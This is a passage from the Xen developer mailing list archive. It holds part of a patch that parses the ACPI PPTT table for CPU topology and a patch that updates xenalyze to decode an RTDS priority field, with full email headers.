+        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
+            if ( entry->length >= sizeof(struct acpi_pptt_processor) )
+            {
+                struct acpi_pptt_processor *proc =
+                       (struct acpi_pptt_processor *)entry;
+
+                if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID) &&
+                     proc->acpi_processor_id == acpi_id )
+                    return proc;
+            }
+
+        ptr += entry->length;
+    }
+
+    return NULL;
+}
+
+static void __init setup_fake_topology(void)
 {
     unsigned int cpu;
 
     /*
-     * Generate temporary cpu topology information for now.
-     * It assumes that the cpu doesn't have SMT and all CPUs
-     * belong to the same socket.
+     * Generate temporary cpu topology information. It assumes that
+     * the cpu doesn't have SMT and all CPUs belong to the same socket.
      */
     for_each_possible_cpu(cpu)
     {
@@ -30,6 +102,148 @@ void __init acpi_init_cpu_topology(void)
     }
 }
 
+/*
+ * Populate the topology information by scanning the ACPI PPTT
+ * (Processor Properties Topology Table).
+ */
+void __init acpi_init_cpu_topology(void)
+{
+    acpi_status status;
+    struct acpi_table_header *header;
+    const struct acpi_table_pptt *pptt;
+    unsigned int cpu;
+
+    status = acpi_get_table(ACPI_SIG_PPTT, 0, &header);
+    if ( ACPI_FAILURE(status) )
+    {
+        printk(XENLOG_WARNING
+               "ACPI: PPTT table not found. Topology fallback will be used.\n");
+        setup_fake_topology();
+        return;
+    }
+
+    pptt = (struct acpi_table_pptt *)header;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int acpi_id = map_cpu_acpiid[cpu];
+        struct cpu_topology *topo = &cpu_topology[cpu];
+        const struct acpi_pptt_processor *proc;
+        unsigned int level = 0;
+        uint32_t thread_offset = 0;
+        uint32_t core_offset = 0;
+        uint32_t cluster_offset = 0;
+        uint32_t socket_offset = 0;
+        bool threading = true;
+
+        proc = find_pptt_node(&pptt->header, acpi_id);
+        if ( !proc )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID 0x%u)\n",
+                   cpu, acpi_id);
+            continue;
+        }
+
+        while ( proc )
+        {
+            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE )
+            {
+                socket_offset = (char *)proc - (char *)pptt;
+                break;
+            }
+            else if ( level == 0 )
+                /*
+                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
+                 * revision 2 and later.
+                 */
+                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
+                    thread_offset = (char *)proc - (char *)pptt;
+                else
+                {
+                    /* Assume no threading support when PPTT revision is 1. */
+                    threading = false;
+                    core_offset = (char *)proc - (char *)pptt;
+                }
+            else if ( level == 1 )
+                if ( threading )
+                    core_offset = (char *)proc - (char *)pptt;
+                else
+                    cluster_offset = (char *)proc - (char *)pptt;
+            else if ( level == 2 )
+                if ( threading )
+                    cluster_offset = (char *)proc - (char *)pptt;
+
+            if ( proc->parent )
+            {
+                proc = (const struct acpi_pptt_processor *)
+                       ((char *)pptt + proc->parent);
+                level++;
+            }
+            else
+                break;
+        }
+
+        topo->phys_socket_id =
+            get_logical_id(socket_offset, socket_map, &num_sockets);
+        topo->phys_cluster_id =
+            get_logical_id(cluster_offset, cluster_map, &num_clusters);
+        topo->phys_core_id =
+            get_logical_id(core_offset, core_map, &num_cores);
+
+        /* Fall back to socket ID if PPTT lacks cluster information. */
+        if ( topo->phys_cluster_id == 0 )
+            topo->phys_cluster_id = topo->phys_socket_id;
+    }
+
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+        unsigned int tcpu;
+
+        for_each_possible_cpu(tcpu)
+        {
+            struct cpu_topology *ttopo = &cpu_topology[tcpu];
+
+            if ( cpu > tcpu )
+                continue;
+
+            if ( topo->phys_core_id == ttopo->phys_core_id )
+            {
+                cpumask_set_cpu(tcpu, topo->thread_sibling);
+                cpumask_set_cpu(cpu, ttopo->thread_sibling);
+            }
+
+            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
+            {
+                cpumask_set_cpu(tcpu, topo->cluster_sibling);
+                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
+            }
+
+            if ( topo->phys_socket_id == ttopo->phys_socket_id )
+            {
+                cpumask_set_cpu(tcpu, topo->core_sibling);
+                cpumask_set_cpu(cpu, ttopo->core_sibling);
+            }
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *topo = &cpu_topology[cpu];
+
+        printk(XENLOG_DEBUG
+               "ACPI: acpi_id[%u] CPU-%u Socket-%u Cluster-%u Core-%u\n",
+               map_cpu_acpiid[cpu],
+               cpu,
+               topo->phys_socket_id,
+               topo->phys_cluster_id,
+               topo->phys_core_id);
+    }
+}
+
 /*
  * Local variables:
  * mode: C
diff --git a/xen/include/acpi/actbl3.h b/xen/include/acpi/actbl3.h
index 636d3f5f5b..48907d0532 100644
--- a/xen/include/acpi/actbl3.h
+++ b/xen/include/acpi/actbl3.h
@@ -72,6 +72,7 @@
 
 #define ACPI_SIG_S3PT           "S3PT"	/* S3 Performance (sub)Table */
 #define ACPI_SIG_PCCS           "PCC"	/* PCC Shared Memory Region */
+#define ACPI_SIG_PPTT           "PPTT"	/* Processor Properties Topology Table */
 
 /* Reserved table signatures */
 
@@ -637,6 +638,35 @@ struct acpi_table_stao {
 	u8 ignore_uart;
 };
 
+/*******************************************************************************
+ *
+ * PPTT - Processor Properties Topology Table - ACPI 6.3
+ *        Version 1
+ *
+ ******************************************************************************/
+struct acpi_table_pptt {
+    struct acpi_table_header header;
+};
+
+#define ACPI_PPTT_TYPE_PROCESSOR            0
+#define ACPI_PPTT_TYPE_CACHE                1
+#define ACPI_PPTT_TYPE_ID                   2
+
+struct acpi_pptt_processor {
+    struct acpi_subtable_header header;
+    u16 reserved;
+    u32 flags;
+    u32 parent;
+    u32 acpi_processor_id;
+    u32 number_of_priv_resources;
+};
+
+#define ACPI_PPTT_PHYSICAL_PACKAGE          (1)
+#define ACPI_PPTT_ACPI_PROCESSOR_ID_VALID   (1 << 1)
+#define ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD  (1 << 2)  /* ACPI 6.3 */
+#define ACPI_PPTT_ACPI_LEAF_NODE            (1 << 3)  /* ACPI 6.3 */
+#define ACPI_PPTT_ACPI_IDENTICAL            (1 << 4)  /* ACPI 6.3 */
+
 /* Reset to default packing */
 
 #pragma pack()
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index bd982ee836..e717f36151 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -139,8 +139,16 @@ static inline int acpi_boot_table_init(void)
 
 void acpi_init_cpu_topology(void);
 
+extern uint32_t map_cpu_acpiid[NR_CPUS];
+
+static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
+{
+    map_cpu_acpiid[cpu] = acpi_id;
+}
+
 #else /* CONFIG_ACPI_CPU_TOPOLOGY */
 
+static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id) {}
 static inline void acpi_init_cpu_topology(void) {}
 
 #endif /* CONFIG_ACPI_CPU_TOPOLOGY */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 04:17:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 04:17:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358719.1612670 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi2gG-00016J-RM; Fri, 10 Jul 2026 04:17:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358719.1612670; Fri, 10 Jul 2026 04:17:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi2gG-00016B-Mj; Fri, 10 Jul 2026 04:17:40 +0000
Received: by outflank-mailman (input) for mailman id 1358719;
 Fri, 10 Jul 2026 04:17:39 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <okamoto@valinux.co.jp>) id 1wi2gE-00015H-Pw
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 04:17:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi2gD-005cGu-0j
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 06:17:37 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a50721c-bab6-0a2a0a5309dd-0a2a4504ea42-30
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 06:17:35 +0200
Received: from [52.101.229.135]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a50725c-b1e5-0a2a45040019-3465e587d751-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 06:17:34 +0200
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:af::12)
 by OS9P286MB5189.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:30a::10) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.16; Fri, 10 Jul
 2026 04:17:30 +0000
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b]) by TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 04:17:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=nNMicJZStZnRvkaGwDLoYaEcajf8SW2tCb5W2JI/a2+/ukEWMQYFtv+sxQpF0ovU3JQtLxEb7VTVO2Oj46ezbRWc2QmS2cndFcvb3QSCH0n+mvXz+coSOC9xaCFsxzZR6WTDNt+DyPv9EOh6DNSrpA90Z7xRkWbLVRTl/BOZqb66fG2AMBDTxUz8aBOmhtoEudDIMsT3Dr2RuLh0A0Y/UKpwBTkAnvQOxxBjuTkyPTe3sPCyqGrLYZlIxvtk1iA+yi1lxaz4D0kjdv4SsYxtD5MlREV92gSgqJ2jVGgUZstQvsGYfaCSeH0YdquoXlUho+Lk6zCzJxCttrlv2JA03A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=j446YXyiZOrK7fknZZSi/XJ96d4r0srzO+3ZbD/Tt78=;
 b=oozkRMRx59IN2ffft2vKC0gs2RyMXMwtR6CKPgBFoodmdFf3kcNOYIHcTLGu9/eMMUKviAUIX2Anmi32LCGZtsvCv9V5Ilq8XAhtwBZNmCZbHKjHGMM9M794zxLSZpUoRYbBM+qs3ZA0ZUB4OCymeOH01FLLFxsK+glEkDvqPiS+O/E0IRuBTZH+ZvmXlkPo9ez4ujpvGc4uf7UNJTPpzYzV3Z+JTaVX3j22Ci9WUgvEwTXtkfeJDDeGW8AfUeooar6l7mSAdjnpbTNKCSTheWQIj3baNQ/f+71Hgv3QH7PLznNfOhjJxDp6RvxWyjnfwoGtsLdqeYsR7pQ+GBVO9Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=j446YXyiZOrK7fknZZSi/XJ96d4r0srzO+3ZbD/Tt78=;
 b=NzNfbYcKoUh4yF0VKFALA5j47m+K8OCEhB3oNJEHAgIbXINHAwWn9+dGz/eMp5d7zVhpbn4/M1b2vrrcep83zRYa8wke72R+elBsobFFpKKuMD/HX4qcSqVPl9PFeqxTepK/xGpqK/GxdzT8K9IUKe0oXKR7IwUl3TrJRditdJ8=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryoji Okamoto <okamoto@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Ryo Takakura <takakura@valinux.co.jp>,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Ryoji Okamoto <okamoto@valinux.co.jp>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH] tools/xentrace: decode RTDS priority in repl_budget records
Date: Fri, 10 Jul 2026 13:17:28 +0900
Message-ID: <20260710041728.336181-1-okamoto@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4PR01CA0091.jpnprd01.prod.outlook.com
 (2603:1096:405:37d::11) To TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:af::12)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYCP286MB1053:EE_|OS9P286MB5189:EE_
X-MS-Office365-Filtering-Correlation-Id: 3b49f1d3-03b5-44f9-0693-08dede3a2857
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|376014|10070799003|23010399003|18002099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	fsizMsSgJejtnRkivpj/5cQ9gWmktxORGe+SJ8cR/HDOTjAnLjfAwybBuK6u/tqCBXhQnz/qWf0OLaZsJ+QonTuUPo8EReAZUy9rUqoov1wk3bc6jda0CRkiVWTcCme14vWLJ7bXAbPW/h0uFjZCvKU4E8fwUJdU+Xc9I247ebwt8wZG5JXc4A4cHNmwKJIG3abLr889Z5YTUy4Sj3QB5V1GAfQEFavO22g4f+v48xDviJ/M7w4797Arp0HyMj6LqM87Iv7f86NYsxkQfmn7juJU/+Q9IvoqMoeE9Zk8GFJfrwAnrRJ4ScRqFhZmTF8iYWB6dXcBXfgufIe71u0OC2UzJXwAdGrM4k9q3Svf4EDuSVxEkkW9DKzyfG8N623FvXn3hu23XSp/WRRQyi/5VpDxdelAgPXqvx4pETmXo8c97dSc3lQW53ls+AmqnRjh64cqrZPpo/z1zLMDXGIdQ8yqRu9Sfb/cq+p7tntEGLn3v55jb7u5qNDV7U70MpVUwpoWcN83dzCN1fXDKbwMomWmen7MsvJhXrE3b9NDpmen0ktMrtUw+YcUAV3XrzaocgME66+y5NZMNGZfrPWvd4U6P4VCnNR/AdhNWxJK5d0istu9iFhzi+UUbASKNs2YygyeDjtgsKj3MFPS2Ge6KIqY/S8rhjpu6Z7I94TZ434=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(376014)(10070799003)(23010399003)(18002099003)(56012099006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?plYebQeHWPotIfQ6/uizAZFuCnDQOy/aTC4nM6HHv0AwtgjJO/l4i3ukIyfh?=
 =?us-ascii?Q?iq4Rn6pin/GZXoZwHX1oRie00vNFGyLIEpEBsMat1YUqPce5iD8D5mGAKkjC?=
 =?us-ascii?Q?b820MLMZMNQ+rBhR2uWVQAfjj1D8KW5YTtPjlTSDHED3/lSn2snnFW3KNbQi?=
 =?us-ascii?Q?fTzrgzNdu/lTrRPi63iKpKiK+c6+Tpc51gHB0AH7PDWJ1UrGzYeb43KmNIan?=
 =?us-ascii?Q?JhmGtOJ22tYCLGmc4oMvwCmavEEadwkW8WJZ65W1UQa7o6DaKqQyNpA4jjte?=
 =?us-ascii?Q?H568ifoNV/Ljpas4+5BchTRMAR23a5S/3JwO+cT38kllqaaz5OmYX/2EkKF4?=
 =?us-ascii?Q?2YAk5ZttPHAHjn0vVwE9dtvGOkCyOgcsdxM68ZuM7LlntZCmixSkOS8Q/SO/?=
 =?us-ascii?Q?EmNH/ZQ4G6hhfrufMXZJY/9wBJP70hsuy6+/2Ull8JfYrXi9i5gpErwXwG8E?=
 =?us-ascii?Q?37BqmALlJO+58NhJD1bmi6wWEXaJeh8ODI6Jp2/0s7ON7bjnp40ENw5Z1JvO?=
 =?us-ascii?Q?3ZkxStzGjMMsm6XQD00EuIH7Cd1fbpRCCDIj8wwU8YR5aGPcIYiSVSttSdTJ?=
 =?us-ascii?Q?t/KCY6IpONcFJfYJvBA6o5nHDl/Zk+j8y2ENKjz8FSQZmuxkgfquvNTPcF8R?=
 =?us-ascii?Q?RklUSsEXbuhRiq33bSXjR9ErARDyHEnFHEKWVMxXHI4532ZsGSIl2DFgXPtz?=
 =?us-ascii?Q?ypjGVQES6uqdymq88ZFEPPblRtGvU3V9UEInnu1ulLUugfe+q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?Q?qd/OCaENv0SeeGUrx/VmZPP+c7rLfa9geRLomHms7n+WUefVtSOJIgB3RWcs?=
 =?us-ascii?Q?nbExMIH4m+p2zEOzx9KKas0b2icnZZo8Nmqw9Jov/wVsjMEdmlQqgJwqypLg?=
 =?us-ascii?Q?bekug1o/RCEYEotUWW/WC7y6vwhgEvfEgJBFNmzgthBYCfc5LttIAvpL50VW?=
X-MS-Exchange-AntiSpam-MessageData-1: 2jS29UhR0ccspg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 3b49f1d3-03b5-44f9-0693-08dede3a2857
X-MS-Exchange-CrossTenant-AuthSource: TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 04:17:30.1637
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: oQVVB1qzzyHP/baYaXl2/IetkWOcJtkDHdvgrv1SuBZFmV3TG4YTK/Y14+vxnlg5IYL+xozOwVqdLrP0l0byEA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB5189
X-purgate-ID: tlsNG-ebf023/1783657055-7DA5DFE7-B509B2B5/0/0
X-purgate-type: clean
X-purgate-size: 1496

The RTDS repl_budget trace record now contains the vCPU priority
level. Update xenalyze to account for the additional field and print
it when dumping the trace event.

Without this change, xenalyze interprets the record using the old
layout, causing the deadline and budget fields to be decoded from the
wrong offsets.

Signed-off-by: Ryoji Okamoto <okamoto@valinux.co.jp>
---
 tools/xentrace/xenalyze.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/tools/xentrace/xenalyze.c b/tools/xentrace/xenalyze.c
index 42feeb282e..439066e352 100644
--- a/tools/xentrace/xenalyze.c
+++ b/tools/xentrace/xenalyze.c
@@ -8039,12 +8039,13 @@ void sched_process(struct pcpu_info *p)
             if(opt.dump_all) {
                 struct {
                     unsigned int vcpuid:16, domid:16;
+                    uint32_t priority_level;
                     uint64_t cur_dl, cur_bg;
                 } __attribute__((packed)) *r = (typeof(r))ri->d;
 
                 printf(" %s rtds:repl_budget d%uv%u, deadline = %"PRIu64", "
-                       "budget = %"PRIu64"\n", ri->dump_header,
-                       r->domid, r->vcpuid, r->cur_dl, r->cur_bg);
+                       "budget = %"PRIu64", priority = %u\n", ri->dump_header,
+                       r->domid, r->vcpuid, r->cur_dl, r->cur_bg, r->priority_level);
             }
             break;
         case TRC_SCHED_CLASS_EVT(RTDS, 5): /* SCHED_TASKLET    */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 06:44:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 06:44:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358770.1612679 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi4xx-0002HX-Gf; Fri, 10 Jul 2026 06:44:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358770.1612679; Fri, 10 Jul 2026 06:44:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi4xx-0002HQ-Dl; Fri, 10 Jul 2026 06:44:05 +0000
Received: by outflank-mailman (input) for mailman id 1358770;
 Fri, 10 Jul 2026 06:44:03 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <okamoto@valinux.co.jp>) id 1wi4xu-0002HK-Px
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 06:44:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi4xt-00Dnqr-FT
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 08:44:01 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a5094ae-bab6-0a2a0a5309dd-0a2a4507a810-4
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 08:44:00 +0200
Received: from [52.101.125.90]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a5094ad-ac46-0a2a45070019-34657d5ac550-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 08:43:59 +0200
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:af::12)
 by OS9P286MB4752.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:2bd::6) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Fri, 10 Jul
 2026 06:43:55 +0000
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b]) by TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 06:43:54 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=XGADxB7QiZnp4tM/W4F/BpyyDv00zXRXI5MqwfCGiyMyXpAQ+ajLPzEEsl8VO3b4wCmdZQ7GCrJUWiEvdKZsRB/RRc23vLDG16bEnM0f/yfkaTV2F/u3S2U4mMKe+0ParzNfrGEULwQqM07GW22Oqw/yKWoA72IYdOQqsuwDv+k1MqPWMgFjyepoJwa1l+Eb9FCMozNeNBzPrvN+oULwWNxb2rr8tMJYXAj2gxhpKIDmyzi0q4dQz6c54J5CWKl+44eV3Bv2tw95Obj82E8nj/SWk23FhEa0j+zJMDmbjv2nyjmzvjWWNkJ3VGRpZ9ioW24c5zu9Tk2pZThfKwNNFg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=VVDXLkxpt6u/yW1WmFhEIDOtImzXDVmeqqk5FhoINKs=;
 b=weSHeHZCH6eFtzg3cBMsGD3zA/Tm3bOt7v3FhzeBG5azT2A76KyOzuAten1SOJVLaWqBS14p1rEhEZQsFou7a6rI5+HoCbBI+Gee5NNJoJQ0Y/243AYUtE0Zs0zrNoAaqbgyVK7miPf8rUpRXzXFV/KMN1EbTKKbHVNmof+WDQ2Tnq+Yr17bbPXiQW5lweHVLXm6vsDkfUiP0XbKeUdeCYQsMPCMw/aI5aAHUCBf8rS/H0fo0SYEgn8LxX2VvCyNltqmbuxatMPw/A9/wDPqF1UR0nafm8k45wQMIT5V6d+VfaH4JX9nlvf1/tK24cRT46dzo1AToXDtQCHd88pQyg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=VVDXLkxpt6u/yW1WmFhEIDOtImzXDVmeqqk5FhoINKs=;
 b=ILWmgzAq4KUkFtn+NTvbuw6U/1HP9mAK7gfMbm62ey42MIJq9zQKK9lbsK9Ah5S/psDs5T/fpvgsMemMn3HRb5ht2fiArIw39UDwqtHORwlS325fbVdi67vsra99x5i07DZ5aim2MpaexsLAgqUqk1wFzYrpjDlJPmmK/giufAo=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryoji Okamoto <okamoto@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Ryo Takakura <takakura@valinux.co.jp>,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Ryoji Okamoto <okamoto@valinux.co.jp>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH v2] tools/xentrace: decode RTDS priority in repl_budget records
Date: Fri, 10 Jul 2026 15:43:52 +0900
Message-ID: <20260710064352.343914-1-okamoto@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCPR01CA0177.jpnprd01.prod.outlook.com
 (2603:1096:400:2b2::16) To TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:af::12)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYCP286MB1053:EE_|OS9P286MB4752:EE_
X-MS-Office365-Filtering-Correlation-Id: 643c0af8-8f7a-45fe-725e-08dede4e9c31
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|366016|10070799003|23010399003|6133799003|56012099006|18002099003;
X-Microsoft-Antispam-Message-Info:
